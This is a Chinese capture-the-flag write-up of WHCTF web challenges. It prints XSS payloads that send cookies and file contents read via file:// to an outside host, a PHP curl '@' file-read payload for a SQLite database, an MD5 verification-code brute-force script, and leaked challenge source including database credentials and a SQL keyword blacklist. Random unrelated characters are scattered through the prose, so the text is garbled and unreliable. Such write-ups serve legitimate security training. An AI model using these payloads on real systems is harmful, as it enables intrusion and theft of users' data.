這次Web蛮放。。奠宜。Orz真的做不出來(lái)鞍洹瞻想!
所以大佬們一出的wp就趕緊屁顛屁顛去復(fù)現(xiàn)了。徘六。内边。
復(fù)現(xiàn)完寫下這些偽wp:(有些題目環(huán)境已經(jīng)掛掉了沒(méi)辦法復(fù)現(xiàn)Orz)
本人菜雞。待锈。漠其。Orz如有說(shuō)錯(cuò)或者對(duì)題目理解錯(cuò)誤請(qǐng)各位表哥一定要指正 感激不盡!
Router
emmm過(guò)了好久才發(fā)現(xiàn)漏了一題Orz竿音。和屎。其實(shí)這題是最有趣的 可惜了現(xiàn)在找不到啥截圖了。春瞬。
首先題目提供了一個(gè)url和一個(gè)附件
首先進(jìn)去目標(biāo)網(wǎng)站先掃一下掃到export.php 進(jìn)去之后下載得到一個(gè)settings.conf文件嗜湃,打開之后沒(méi)啥用 不知道是啥
然后附件 binwalk一下之后出現(xiàn)了一個(gè)elf文件,checksec一下
扔進(jìn)gdb跑一下英支,在大概0x435f4c的位置程序會(huì)dump出一個(gè)settings.conf文件逆趋,然后在大概0x4013c3的位置棧中會(huì)出現(xiàn)賬號(hào)密碼
直接拿這個(gè)賬號(hào)密碼登上去是登不了的,所以拿我們?cè)趀xport.php下載到的文件替換掉萄涯,看看能不能讀取到里面的賬號(hào)密碼
結(jié)果讀到了
emmm我看其他大佬的wp里面密碼是不一樣的 估計(jì)是被攪屎改掉了 然后我上了之后也改掉了23333
之后在里面會(huì)有一個(gè)帶有參數(shù)action的ajax交互绪氛,把a(bǔ)ction改成不存在的一個(gè)就能得到flag。涝影。枣察。Orz。燃逻。序目。逼死Web狗。伯襟。猿涨。
再說(shuō)一個(gè)浩子哥哥發(fā)現(xiàn)的一個(gè)官方后門rce 詳情:https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g
CAT
一開始以為這道題是常規(guī)的命令執(zhí)行 然后簡(jiǎn)單的fuzz之后發(fā)現(xiàn)過(guò)濾了N多個(gè)字符,百思不得其解后主辦方看不下去了逗旁,給了hint是
RTFM of PHP CURL
唔嘿辟。。然后去看了挺久的手冊(cè)片效。红伦。發(fā)現(xiàn)還是沒(méi)啥收獲,然后思路就變成了用file協(xié)議去讀文件 然后就跑偏了23333正確的思路應(yīng)該是 將全部字符fuzz一遍 然后發(fā)現(xiàn)輸入%FF報(bào)錯(cuò)淀衣,查看報(bào)錯(cuò)結(jié)果是Python Django昙读,debug沒(méi)關(guān)然后看到關(guān)鍵代碼:
這里有疑問(wèn)就是為什么會(huì)有/api/ping的請(qǐng)求呢?
因?yàn)槲覀冊(cè)陬}目中并沒(méi)有這樣的url可以訪問(wèn)
并且在ping函數(shù)之前是執(zhí)行了14-21行的代碼合并了一個(gè)上傳的文件(???我們沒(méi)上傳文件呀)
結(jié)合之前django報(bào)錯(cuò)并不是html渲染后的結(jié)果 而是類似于PHP的show_source(特殊符號(hào)被轉(zhuǎn)譯)和hint 這里就有理由充分猜測(cè)后臺(tái)運(yùn)行了兩個(gè)應(yīng)用膨桥,一個(gè)是暴露給我們的PHP應(yīng)用蛮浑,一個(gè)是處理通過(guò)PHP發(fā)送的請(qǐng)求的Django 這里沒(méi)有報(bào)Invalid Url錯(cuò)誤是因?yàn)樵谡齽t之前有一個(gè)轉(zhuǎn)碼的過(guò)程 Django使用的是GBK編碼唠叛,而我們發(fā)送的%FF并不在其編碼表中有意義,(%F7也是)所以就會(huì)轉(zhuǎn)碼錯(cuò)誤沮稚,拋出django的exception艺沼,不會(huì)進(jìn)入下一步的正則。
而關(guān)鍵部分就是PHP是使用CURL來(lái)請(qǐng)求django應(yīng)用API的蕴掏,這里觸及到了一個(gè)知識(shí)盲區(qū)Orz 就是CURLOPT_POSTFILES
官方文檔描述如下:
如果在請(qǐng)求前面加上@的話phpcurl組件是會(huì)把后面的當(dāng)作絕對(duì)路徑請(qǐng)求 結(jié)合GBK的特性如果遇到編碼不了就會(huì)拋出錯(cuò)誤的特性 也就是說(shuō)如果我們?nèi)フ?qǐng)求一個(gè)內(nèi)容存在GBK不能編碼的序列就能通過(guò)debug頁(yè)面把文件內(nèi)容爆出來(lái),通過(guò)debug頁(yè)面能得到絕對(duì)路徑
emm然后比較容易想到的就是database.sqlite3文件了
-
poc:
(flag在右下角)
- payload:?url=@/opt/api/database.sqlite3
Emmmm
- 因?yàn)轭}目環(huán)境掛了 先挖坑障般。。以后搭好環(huán)境再填
- 大佬們的做法是從phpinfo中獲取到開啟了xdebug遠(yuǎn)程調(diào)試盛杰,然后Vim+DBGP+xdebug進(jìn)行遠(yuǎn)程執(zhí)行代碼
Not only XSS
- 簡(jiǎn)單嘗試了一下直接丟js代碼發(fā)現(xiàn)是可用請(qǐng)求到的
<script>window.location.+document.cookie</script>
然后cookie是空的
Web服務(wù)器是PhantomJS
這個(gè)服務(wù)器有一個(gè)特點(diǎn)---PhantomJS是無(wú)界面瀏覽器(headless browser)客戶端 支持file協(xié)議
所以是可以讀取靜態(tài)文件的
然后看到Referer很奇怪 是一個(gè)靜態(tài)文件挽荡?
打開這個(gè)靜態(tài)文件之后發(fā)現(xiàn)是我們剛才發(fā)送的內(nèi)容
那這里大概能猜到bot是直接打開本地靜態(tài)文件的
然后思路大概就出來(lái)了 去讀源碼
但是現(xiàn)在并不知道要讀哪里的源碼
掃一波(自家掃描器 https://github.com/Pr0phet/ProScanner))
掃出來(lái)flag.php 那估計(jì)是要讀這里的源碼了
- payload:
<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "file:///var/www/html/flag.php", true);xhr.onload = function() {content = btoa(xhr.responseText);window.location. + content;};xhr.send(null);
</script>
- poc:
base64解碼后即為
<?php
$flag="WHCTF{phant0mjs_c4n_open_f1les_1n_webp4ge}";
echo "Flag is here! But nobody can got it!";
?>
ps:附上自己寫的爆破驗(yàn)證碼的腳本,效率還闊以 4位數(shù)基本在10秒之內(nèi)能爆破出來(lái)即供,5位數(shù)的話大概也是15秒-20秒左右, 當(dāng)然定拟。。全靠運(yùn)氣
#coding:utf8
#Author: Pr0ph3t
# import requests
import string
import random
import hashlib
import re
import sys
#用法:python 此文件 想要爆破的驗(yàn)證碼
url = 'http://web.jarvisoj.com:32800/'
# se = requests.Session()
# res = se.get(url)
# code = re.findall('.+substr\(\$verify,0,4\) === \'(.*)\'.+',res.content)[0]
preCode = sys.argv[1]
numToCrack = 5 #爆破的位數(shù)
i = 0
while 1:
i += 1
print '[*] 第' + str(i) + '次碰撞'
testStr = ''.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',numToCrack)).strip()
testCode = hashlib.md5(testStr).hexdigest()[0:numToCrack]
if testCode == preCode:
print testStr
exit()
pss:對(duì)題目比較感興趣所以把源碼也讀下來(lái)了
- index.php
<?php
include("csp.php");
include("conn.php");
session_start();
if(isset($_POST['name'])&&isset($_POST['verify'])&&isset($_POST['phone'])&&isset($_POST['secret'])&&isset($_POST['email'])){
$name=Filter($_POST['name']);
$verify=Filter($_POST['verify']);
$phone=Filter($_POST['phone']);
$email=Filter($_POST['email']);
$secret=Filter($_POST['secret']);
if($name===""||$verify===""||$phone===""||$secret===""||$email===""){
die("Please Complete the form!");
}
else if(substr(md5($verify),0,5)!==$_SESSION['md5']){
die("verify error!");
}
else{
$id=md5($secret.time().mt_rand(1,100000));
mysql_query("insert into $TBNAME values('".$id."','".$name."','".$email."','".$phone."','".$secret."',false);");
die("Admin has got your secret and will read it soon.");
}
}
?>
<!DOCTYPE HTML>
<html>
<head>
<title>Easy XSS game</title>
<link href="css/style.css" rel="stylesheet" type="text/css" media="all"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="css/font-awesome.css" rel="stylesheet">
</head>
<body>
<div class="wthree-dot">
<h1>Tell your secret to me</h1>
<div class="profile">
<div class="wrap">
<div class="contact-form">
<form action="#" method="post">
<div class="w3l-contact-left">
<div class="styled-input agile-styled-input-top">
<input type="text" name="name" required="">
<label>Name</label>
<span></span>
</div>
<div class="styled-input">
<input type="email" name="email" required="">
<label>Email</label>
<span></span>
</div>
<div class="styled-input">
<input type="text" name="phone" required="">
<label>Phone</label>
<span></span>
</div>
<div class="styled-input">
<input type="text" name="verify" required="">
<label>verify</label>
<span></span>
</div>
<?php
$rand=generate_md5();
echo "<h2 style='color:#999999'>( PS :substr(md5(\$verify),0,5) === '".$rand."' )</h2>";
$_SESSION['md5']=$rand;
?>
</div>
<div class="w3l-contact-right">
<div class="styled-input agileits-input">
<textarea name="secret" required=""></textarea>
<label>Secret</label>
<span></span>
</div>
<input type="submit" value="SEND">
</div>
<div class="clear"> </div>
</form>
</div>
</div>
</div>
</div>
</body>
</html>
- csp.php
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;");
?>
- conn.php
<?php
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "whctfxss";
$DBNAME = "xss";
$TBNAME = "xss";
$TBCOLUMN=Array(
"id"=>"id",
"name"=>"name",
"phone"=>"phone",
"secret"=>"secret",
"hasread"=>"hasread",
);
function generate_md5(){
$number=mt_rand(0,1000000);
$rand=md5($number);
return substr($rand,0,5);
};
function Filter($string){
$blacklist = "sleep|benchmark|information|order|limit|load_file|select|union|system|alter|show|outfile|dumpfile|into|execute|column|table|extractvalue|floor|update|insert|delete";
$whitechar = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'()._*`-@=+><\"{};/: ?,";
for ($i=0;$i<strlen($string);$i++){
if (strpos("$whitechar",$string[$i])===false){
return "hacker!";
}
}
if (preg_match("/$blacklist/is",$string)){
return "hacker!";
}
if (is_string($string)){
return addslashes($string);
} else {
return "";
}
}
$conn=mysql_connect($DBHOST,$DBUSER,$DBPASS);
mysql_query("use {$DBNAME}");
?>
這里有遇到了一個(gè)問(wèn)題就是poc換行之后不奏效
不知道各位表哥會(huì)不會(huì)遇到這個(gè)情況Orz
Scanner
emmm這題環(huán)境也關(guān)掉了 無(wú)法復(fù)現(xiàn)逗嫡。青自。
我一開始還天真的以為flag藏在各種各樣的文件夾里面。驱证。然后就去傻乎乎的改自己的掃描器性穿。。雷滚。(還沒(méi)改完)
但是根據(jù)表哥們的wp 思路大致是這樣的:
查看到可疑請(qǐng)求 ----http://118.31.18.64:20008/c181948a9bdee64753468823ac57a870/github.com/getimg.php?pic=xxx.png
隨后跟進(jìn)測(cè)試發(fā)現(xiàn)此php可以實(shí)現(xiàn)任意文件讀取
讀取 /etc/passwd后發(fā)現(xiàn)flag用戶
最后讀取此用戶home目錄下的flag
表哥們的wp
Kap0k : http://www.kap0k.com/archives/948
浩子哥哥 : https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g
并且宣傳一波浩子哥哥的公眾號(hào) : HenceTech